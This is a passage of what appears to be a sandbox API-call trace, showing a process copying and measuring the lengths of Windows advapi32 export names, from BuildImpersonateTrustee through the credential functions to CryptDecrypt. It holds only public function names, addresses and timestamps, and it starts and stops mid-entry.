(lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEW") returned 39 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildImpersonateTrusteeA" | out: lpString1="BuildImpersonateTrusteeA") returned="BuildImpersonateTrusteeA" [0047.634] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEA") returned 24 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildImpersonateTrusteeW" | out: lpString1="BuildImpersonateTrusteeW") returned="BuildImpersonateTrusteeW" [0047.634] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEW") returned 24 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildSecurityDescriptorA" | out: lpString1="BuildSecurityDescriptorA") returned="BuildSecurityDescriptorA" [0047.634] lstrlenA (lpString="BUILDSECURITYDESCRIPTORA") returned 24 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildSecurityDescriptorW" | out: lpString1="BuildSecurityDescriptorW") returned="BuildSecurityDescriptorW" [0047.634] lstrlenA (lpString="BUILDSECURITYDESCRIPTORW") returned 24 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithNameA" | out: lpString1="BuildTrusteeWithNameA") returned="BuildTrusteeWithNameA" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEA") returned 21 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithNameW" | out: lpString1="BuildTrusteeWithNameW") returned="BuildTrusteeWithNameW" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEW") returned 21 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithObjectsAndNameA" | out: lpString1="BuildTrusteeWithObjectsAndNameA") returned="BuildTrusteeWithObjectsAndNameA" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEA") returned 31 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithObjectsAndNameW" | out: lpString1="BuildTrusteeWithObjectsAndNameW") returned="BuildTrusteeWithObjectsAndNameW" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEW") returned 31 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithObjectsAndSidA" | out: lpString1="BuildTrusteeWithObjectsAndSidA") returned="BuildTrusteeWithObjectsAndSidA" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDA") returned 30 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithObjectsAndSidW" | out: lpString1="BuildTrusteeWithObjectsAndSidW") returned="BuildTrusteeWithObjectsAndSidW" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDW") returned 30 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithSidA" | out: lpString1="BuildTrusteeWithSidA") returned="BuildTrusteeWithSidA" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHSIDA") returned 20 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildTrusteeWithSidW" | out: lpString1="BuildTrusteeWithSidW") returned="BuildTrusteeWithSidW" [0047.635] lstrlenA (lpString="BUILDTRUSTEEWITHSIDW") returned 20 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CancelOverlappedAccess" | out: lpString1="CancelOverlappedAccess") returned="CancelOverlappedAccess" [0047.635] lstrlenA (lpString="CANCELOVERLAPPEDACCESS") returned 22 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ChangeServiceConfig2A" | out: lpString1="ChangeServiceConfig2A") returned="ChangeServiceConfig2A" [0047.635] lstrlenA (lpString="CHANGESERVICECONFIG2A") returned 21 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ChangeServiceConfig2W" | out: lpString1="ChangeServiceConfig2W") returned="ChangeServiceConfig2W" [0047.635] lstrlenA (lpString="CHANGESERVICECONFIG2W") returned 21 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ChangeServiceConfigA" | out: lpString1="ChangeServiceConfigA") returned="ChangeServiceConfigA" [0047.635] lstrlenA (lpString="CHANGESERVICECONFIGA") returned 20 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ChangeServiceConfigW" | out: lpString1="ChangeServiceConfigW") returned="ChangeServiceConfigW" [0047.635] lstrlenA (lpString="CHANGESERVICECONFIGW") returned 20 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckForHiberboot" | out: lpString1="CheckForHiberboot") returned="CheckForHiberboot" [0047.635] lstrlenA (lpString="CHECKFORHIBERBOOT") returned 17 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CheckTokenMembership" | out: lpString1="CheckTokenMembership") returned="CheckTokenMembership" [0047.635] lstrlenA (lpString="CHECKTOKENMEMBERSHIP") returned 20 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClearEventLogA" | out: lpString1="ClearEventLogA") returned="ClearEventLogA" [0047.635] lstrlenA (lpString="CLEAREVENTLOGA") returned 14 [0047.635] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ClearEventLogW" | out: lpString1="ClearEventLogW") returned="ClearEventLogW" [0047.636] lstrlenA (lpString="CLEAREVENTLOGW") returned 14 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseCodeAuthzLevel" | out: lpString1="CloseCodeAuthzLevel") returned="CloseCodeAuthzLevel" [0047.636] lstrlenA (lpString="CLOSECODEAUTHZLEVEL") returned 19 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseEncryptedFileRaw" | out: lpString1="CloseEncryptedFileRaw") returned="CloseEncryptedFileRaw" [0047.636] lstrlenA (lpString="CLOSEENCRYPTEDFILERAW") returned 21 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseEventLog" | out: lpString1="CloseEventLog") returned="CloseEventLog" [0047.636] lstrlenA (lpString="CLOSEEVENTLOG") returned 13 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseServiceHandle" | out: lpString1="CloseServiceHandle") returned="CloseServiceHandle" [0047.636] lstrlenA (lpString="CLOSESERVICEHANDLE") returned 18 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseThreadWaitChainSession" | out: lpString1="CloseThreadWaitChainSession") returned="CloseThreadWaitChainSession" [0047.636] lstrlenA (lpString="CLOSETHREADWAITCHAINSESSION") returned 27 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CloseTrace" | out: lpString1="CloseTrace") returned="CloseTrace" [0047.636] lstrlenA (lpString="CLOSETRACE") returned 10 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CommandLineFromMsiDescriptor" | out: lpString1="CommandLineFromMsiDescriptor") returned="CommandLineFromMsiDescriptor" [0047.636] lstrlenA (lpString="COMMANDLINEFROMMSIDESCRIPTOR") returned 28 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ComputeAccessTokenFromCodeAuthzLevel" | out: lpString1="ComputeAccessTokenFromCodeAuthzLevel") returned="ComputeAccessTokenFromCodeAuthzLevel" [0047.636] lstrlenA (lpString="COMPUTEACCESSTOKENFROMCODEAUTHZLEVEL") returned 36 [0047.636] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ControlService" | out: lpString1="ControlService") returned="ControlService" [0047.636] lstrlenA (lpString="CONTROLSERVICE") returned 14 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ControlServiceExA" | out: lpString1="ControlServiceExA") returned="ControlServiceExA" [0047.637] lstrlenA (lpString="CONTROLSERVICEEXA") returned 17 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ControlServiceExW" | out: lpString1="ControlServiceExW") returned="ControlServiceExW" [0047.637] lstrlenA (lpString="CONTROLSERVICEEXW") returned 17 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ControlTraceA" | out: lpString1="ControlTraceA") returned="ControlTraceA" [0047.637] lstrlenA (lpString="CONTROLTRACEA") returned 13 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ControlTraceW" | out: lpString1="ControlTraceW") returned="ControlTraceW" [0047.637] lstrlenA (lpString="CONTROLTRACEW") returned 13 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertAccessToSecurityDescriptorA" | out: lpString1="ConvertAccessToSecurityDescriptorA") returned="ConvertAccessToSecurityDescriptorA" [0047.637] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORA") returned 34 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertAccessToSecurityDescriptorW" | out: lpString1="ConvertAccessToSecurityDescriptorW") returned="ConvertAccessToSecurityDescriptorW" [0047.637] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORW") returned 34 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSDToStringSDDomainW" | out: lpString1="ConvertSDToStringSDDomainW") returned="ConvertSDToStringSDDomainW" [0047.637] lstrlenA (lpString="CONVERTSDTOSTRINGSDDOMAINW") returned 26 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSDToStringSDRootDomainA" | out: lpString1="ConvertSDToStringSDRootDomainA") returned="ConvertSDToStringSDRootDomainA" [0047.637] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINA") returned 30 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSDToStringSDRootDomainW" | out: lpString1="ConvertSDToStringSDRootDomainW") returned="ConvertSDToStringSDRootDomainW" [0047.637] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINW") returned 30 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToAccessA" | out: lpString1="ConvertSecurityDescriptorToAccessA") returned="ConvertSecurityDescriptorToAccessA" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSA") returned 34 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToAccessNamedA" | out: lpString1="ConvertSecurityDescriptorToAccessNamedA") returned="ConvertSecurityDescriptorToAccessNamedA" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDA") returned 39 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToAccessNamedW" | out: lpString1="ConvertSecurityDescriptorToAccessNamedW") returned="ConvertSecurityDescriptorToAccessNamedW" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDW") returned 39 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToAccessW" | out: lpString1="ConvertSecurityDescriptorToAccessW") returned="ConvertSecurityDescriptorToAccessW" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSW") returned 34 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorA" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA") returned="ConvertSecurityDescriptorToStringSecurityDescriptorA" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORA") returned 52 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorW" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW") returned="ConvertSecurityDescriptorToStringSecurityDescriptorW" [0047.637] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORW") returned 52 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSidToStringSidA" | out: lpString1="ConvertSidToStringSidA") returned="ConvertSidToStringSidA" [0047.637] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDA") returned 22 [0047.637] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertSidToStringSidW" | out: lpString1="ConvertSidToStringSidW") returned="ConvertSidToStringSidW" [0047.637] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDW") returned 22 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSDToSDDomainA" | out: lpString1="ConvertStringSDToSDDomainA") returned="ConvertStringSDToSDDomainA" [0047.638] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINA") returned 26 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSDToSDDomainW" | out: lpString1="ConvertStringSDToSDDomainW") returned="ConvertStringSDToSDDomainW" [0047.638] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINW") returned 26 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSDToSDRootDomainA" | out: lpString1="ConvertStringSDToSDRootDomainA") returned="ConvertStringSDToSDRootDomainA" [0047.638] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINA") returned 30 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSDToSDRootDomainW" | out: lpString1="ConvertStringSDToSDRootDomainW") returned="ConvertStringSDToSDRootDomainW" [0047.638] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINW") returned 30 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorA" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned="ConvertStringSecurityDescriptorToSecurityDescriptorA" [0047.638] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORA") returned 52 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorW" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned="ConvertStringSecurityDescriptorToSecurityDescriptorW" [0047.638] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW") returned 52 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSidToSidA" | out: lpString1="ConvertStringSidToSidA") returned="ConvertStringSidToSidA" [0047.638] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDA") returned 22 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertStringSidToSidW" | out: lpString1="ConvertStringSidToSidW") returned="ConvertStringSidToSidW" [0047.638] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDW") returned 22 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ConvertToAutoInheritPrivateObjectSecurity" | out: lpString1="ConvertToAutoInheritPrivateObjectSecurity") returned="ConvertToAutoInheritPrivateObjectSecurity" [0047.638] lstrlenA (lpString="CONVERTTOAUTOINHERITPRIVATEOBJECTSECURITY") returned 41 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CopySid" | out: lpString1="CopySid") returned="CopySid" [0047.638] lstrlenA (lpString="COPYSID") returned 7 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateCodeAuthzLevel" | out: lpString1="CreateCodeAuthzLevel") returned="CreateCodeAuthzLevel" [0047.638] lstrlenA (lpString="CREATECODEAUTHZLEVEL") returned 20 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePrivateObjectSecurity" | out: lpString1="CreatePrivateObjectSecurity") returned="CreatePrivateObjectSecurity" [0047.638] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITY") returned 27 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePrivateObjectSecurityEx" | out: lpString1="CreatePrivateObjectSecurityEx") returned="CreatePrivateObjectSecurityEx" [0047.638] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYEX") returned 29 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreatePrivateObjectSecurityWithMultipleInheritance" | out: lpString1="CreatePrivateObjectSecurityWithMultipleInheritance") returned="CreatePrivateObjectSecurityWithMultipleInheritance" [0047.638] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYWITHMULTIPLEINHERITANCE") returned 50 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0047.638] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0047.638] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0047.638] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessWithLogonW" | out: lpString1="CreateProcessWithLogonW") returned="CreateProcessWithLogonW" [0047.638] lstrlenA (lpString="CREATEPROCESSWITHLOGONW") returned 23 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateProcessWithTokenW" | out: lpString1="CreateProcessWithTokenW") returned="CreateProcessWithTokenW" [0047.639] lstrlenA (lpString="CREATEPROCESSWITHTOKENW") returned 23 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateRestrictedToken" | out: lpString1="CreateRestrictedToken") returned="CreateRestrictedToken" [0047.639] lstrlenA (lpString="CREATERESTRICTEDTOKEN") returned 21 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateServiceA" | out: lpString1="CreateServiceA") returned="CreateServiceA" [0047.639] lstrlenA (lpString="CREATESERVICEA") returned 14 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateServiceW" | out: lpString1="CreateServiceW") returned="CreateServiceW" [0047.639] lstrlenA (lpString="CREATESERVICEW") returned 14 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateTraceInstanceId" | out: lpString1="CreateTraceInstanceId") returned="CreateTraceInstanceId" [0047.639] lstrlenA (lpString="CREATETRACEINSTANCEID") returned 21 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CreateWellKnownSid" | out: lpString1="CreateWellKnownSid") returned="CreateWellKnownSid" [0047.639] lstrlenA (lpString="CREATEWELLKNOWNSID") returned 18 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredBackupCredentials" | out: lpString1="CredBackupCredentials") returned="CredBackupCredentials" [0047.639] lstrlenA (lpString="CREDBACKUPCREDENTIALS") returned 21 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredDeleteA" | out: lpString1="CredDeleteA") returned="CredDeleteA" [0047.639] lstrlenA (lpString="CREDDELETEA") returned 11 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredDeleteW" | out: lpString1="CredDeleteW") returned="CredDeleteW" [0047.639] lstrlenA (lpString="CREDDELETEW") returned 11 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredEncryptAndMarshalBinaryBlob" | out: lpString1="CredEncryptAndMarshalBinaryBlob") returned="CredEncryptAndMarshalBinaryBlob" [0047.639] lstrlenA (lpString="CREDENCRYPTANDMARSHALBINARYBLOB") returned 31 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredEnumerateA" | out: lpString1="CredEnumerateA") returned="CredEnumerateA" [0047.639] lstrlenA (lpString="CREDENUMERATEA") returned 14 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredEnumerateW" | out: lpString1="CredEnumerateW") returned="CredEnumerateW" [0047.639] lstrlenA (lpString="CREDENUMERATEW") returned 14 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredFindBestCredentialA" | out: lpString1="CredFindBestCredentialA") returned="CredFindBestCredentialA" [0047.639] lstrlenA (lpString="CREDFINDBESTCREDENTIALA") returned 23 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredFindBestCredentialW" | out: lpString1="CredFindBestCredentialW") returned="CredFindBestCredentialW" [0047.639] lstrlenA (lpString="CREDFINDBESTCREDENTIALW") returned 23 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredFree" | out: lpString1="CredFree") returned="CredFree" [0047.639] lstrlenA (lpString="CREDFREE") returned 8 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredGetSessionTypes" | out: lpString1="CredGetSessionTypes") returned="CredGetSessionTypes" [0047.639] lstrlenA (lpString="CREDGETSESSIONTYPES") returned 19 [0047.639] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredGetTargetInfoA" | out: lpString1="CredGetTargetInfoA") returned="CredGetTargetInfoA" [0047.640] lstrlenA (lpString="CREDGETTARGETINFOA") returned 18 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredGetTargetInfoW" | out: lpString1="CredGetTargetInfoW") returned="CredGetTargetInfoW" [0047.640] lstrlenA (lpString="CREDGETTARGETINFOW") returned 18 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredIsMarshaledCredentialA" | out: lpString1="CredIsMarshaledCredentialA") returned="CredIsMarshaledCredentialA" [0047.640] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALA") returned 26 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredIsMarshaledCredentialW" | out: lpString1="CredIsMarshaledCredentialW") returned="CredIsMarshaledCredentialW" [0047.640] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALW") returned 26 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredIsProtectedA" | out: lpString1="CredIsProtectedA") returned="CredIsProtectedA" [0047.640] lstrlenA (lpString="CREDISPROTECTEDA") returned 16 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredIsProtectedW" | out: lpString1="CredIsProtectedW") returned="CredIsProtectedW" [0047.640] lstrlenA (lpString="CREDISPROTECTEDW") returned 16 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredMarshalCredentialA" | out: lpString1="CredMarshalCredentialA") returned="CredMarshalCredentialA" [0047.640] lstrlenA (lpString="CREDMARSHALCREDENTIALA") returned 22 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredMarshalCredentialW" | out: lpString1="CredMarshalCredentialW") returned="CredMarshalCredentialW" [0047.640] lstrlenA (lpString="CREDMARSHALCREDENTIALW") returned 22 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredProfileLoaded" | out: lpString1="CredProfileLoaded") returned="CredProfileLoaded" [0047.640] lstrlenA (lpString="CREDPROFILELOADED") returned 17 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredProfileLoadedEx" | out: lpString1="CredProfileLoadedEx") returned="CredProfileLoadedEx" [0047.640] lstrlenA (lpString="CREDPROFILELOADEDEX") returned 19 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredProfileUnloaded" | out: lpString1="CredProfileUnloaded") returned="CredProfileUnloaded" [0047.640] lstrlenA (lpString="CREDPROFILEUNLOADED") returned 19 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredProtectA" | out: lpString1="CredProtectA") returned="CredProtectA" [0047.640] lstrlenA (lpString="CREDPROTECTA") returned 12 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredProtectW" | out: lpString1="CredProtectW") returned="CredProtectW" [0047.640] lstrlenA (lpString="CREDPROTECTW") returned 12 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredReadA" | out: lpString1="CredReadA") returned="CredReadA" [0047.640] lstrlenA (lpString="CREDREADA") returned 9 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredReadByTokenHandle" | out: lpString1="CredReadByTokenHandle") returned="CredReadByTokenHandle" [0047.640] lstrlenA (lpString="CREDREADBYTOKENHANDLE") returned 21 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredReadDomainCredentialsA" | out: lpString1="CredReadDomainCredentialsA") returned="CredReadDomainCredentialsA" [0047.640] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSA") returned 26 [0047.640] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredReadDomainCredentialsW" | out: lpString1="CredReadDomainCredentialsW") returned="CredReadDomainCredentialsW" [0047.640] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSW") returned 26 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredReadW" | out: lpString1="CredReadW") returned="CredReadW" [0047.641] lstrlenA (lpString="CREDREADW") returned 9 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredRenameA" | out: lpString1="CredRenameA") returned="CredRenameA" [0047.641] lstrlenA (lpString="CREDRENAMEA") returned 11 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredRenameW" | out: lpString1="CredRenameW") returned="CredRenameW" [0047.641] lstrlenA (lpString="CREDRENAMEW") returned 11 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredRestoreCredentials" | out: lpString1="CredRestoreCredentials") returned="CredRestoreCredentials" [0047.641] lstrlenA (lpString="CREDRESTORECREDENTIALS") returned 22 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredUnmarshalCredentialA" | out: lpString1="CredUnmarshalCredentialA") returned="CredUnmarshalCredentialA" [0047.641] lstrlenA (lpString="CREDUNMARSHALCREDENTIALA") returned 24 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredUnmarshalCredentialW" | out: lpString1="CredUnmarshalCredentialW") returned="CredUnmarshalCredentialW" [0047.641] lstrlenA (lpString="CREDUNMARSHALCREDENTIALW") returned 24 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredUnprotectA" | out: lpString1="CredUnprotectA") returned="CredUnprotectA" [0047.641] lstrlenA (lpString="CREDUNPROTECTA") returned 14 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredUnprotectW" | out: lpString1="CredUnprotectW") returned="CredUnprotectW" [0047.641] lstrlenA (lpString="CREDUNPROTECTW") returned 14 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredWriteA" | out: lpString1="CredWriteA") returned="CredWriteA" [0047.641] lstrlenA (lpString="CREDWRITEA") returned 10 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredWriteDomainCredentialsA" | out: lpString1="CredWriteDomainCredentialsA") returned="CredWriteDomainCredentialsA" [0047.641] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSA") returned 27 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredWriteDomainCredentialsW" | out: lpString1="CredWriteDomainCredentialsW") returned="CredWriteDomainCredentialsW" [0047.641] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSW") returned 27 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredWriteW" | out: lpString1="CredWriteW") returned="CredWriteW" [0047.641] lstrlenA (lpString="CREDWRITEW") returned 10 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpConvertCredential" | out: lpString1="CredpConvertCredential") returned="CredpConvertCredential" [0047.641] lstrlenA (lpString="CREDPCONVERTCREDENTIAL") returned 22 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpConvertOneCredentialSize" | out: lpString1="CredpConvertOneCredentialSize") returned="CredpConvertOneCredentialSize" [0047.641] lstrlenA (lpString="CREDPCONVERTONECREDENTIALSIZE") returned 29 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpConvertTargetInfo" | out: lpString1="CredpConvertTargetInfo") returned="CredpConvertTargetInfo" [0047.641] lstrlenA (lpString="CREDPCONVERTTARGETINFO") returned 22 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpDecodeCredential" | out: lpString1="CredpDecodeCredential") returned="CredpDecodeCredential" [0047.641] lstrlenA (lpString="CREDPDECODECREDENTIAL") returned 21 [0047.641] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpEncodeCredential" | out: lpString1="CredpEncodeCredential") returned="CredpEncodeCredential" [0047.642] lstrlenA (lpString="CREDPENCODECREDENTIAL") returned 21 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CredpEncodeSecret" | out: lpString1="CredpEncodeSecret") returned="CredpEncodeSecret" [0047.642] lstrlenA (lpString="CREDPENCODESECRET") returned 17 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptAcquireContextA" | out: lpString1="CryptAcquireContextA") returned="CryptAcquireContextA" [0047.642] lstrlenA (lpString="CRYPTACQUIRECONTEXTA") returned 20 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptAcquireContextW" | out: lpString1="CryptAcquireContextW") returned="CryptAcquireContextW" [0047.642] lstrlenA (lpString="CRYPTACQUIRECONTEXTW") returned 20 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptContextAddRef" | out: lpString1="CryptContextAddRef") returned="CryptContextAddRef" [0047.642] lstrlenA (lpString="CRYPTCONTEXTADDREF") returned 18 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptCreateHash" | out: lpString1="CryptCreateHash") returned="CryptCreateHash" [0047.642] lstrlenA (lpString="CRYPTCREATEHASH") returned 15 [0047.642] lstrcpyA (in: lpString1=0x21fe40c, lpString2="CryptDecrypt" | out: lpString1="CryptDecrypt") returned="CryptDecrypt" [0047.642] lstrlenA 